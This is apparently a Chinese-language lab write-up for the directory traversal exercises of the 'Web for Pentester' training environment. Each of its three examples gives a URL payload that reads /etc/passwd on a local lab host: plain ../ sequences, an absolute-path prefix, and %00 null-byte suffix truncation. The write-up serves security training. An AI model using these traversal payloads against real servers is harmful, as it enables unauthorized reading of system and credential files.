Web for pentester_writeup之Directory traversal篇

Web for pentester_writeup之Directory traversal篇

Directory traversal（目录遍历）

目录遍历漏洞，这部分有三个例子，直接查看源代码


Example 1


<1>测试输入`./`，停留在本目录


<2>测试输入../，发现目录切换，猜测是返回上级目录


直接溯源到根目录测试是否可以访问/etc/passwd

Payload
http://192.168.219.136/dirtrav/example1.php?file=../../../../../../../../../etc/passwd


Example 2


发现是绝对目录，同上，直接溯源到根目录测试是否可以访问/etc/passwd

Payload
http://192.168.219.136/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../../etc/passwd


###**Example 3**


没有后缀，直接测试../../../../../../etc/passwd无返回


猜测是自动在参数后面加上了.png的后缀，使用%00 URL编码代表NUL空字节截断后缀

Payload
http://192.168.219.136/dirtrav/example3.php?file=../../../../../../../etc/passwd%00


使用空字节消除由服务器端代码添加的任何后缀是一种常见的旁路，在Perl和旧版本的PHP中经常使用到。
在本环境这段代码中，这个问题是模拟的，因为PHP[5.3.4]版本之后解决这种绕过（http://php.net/releases/5_3_4.php）。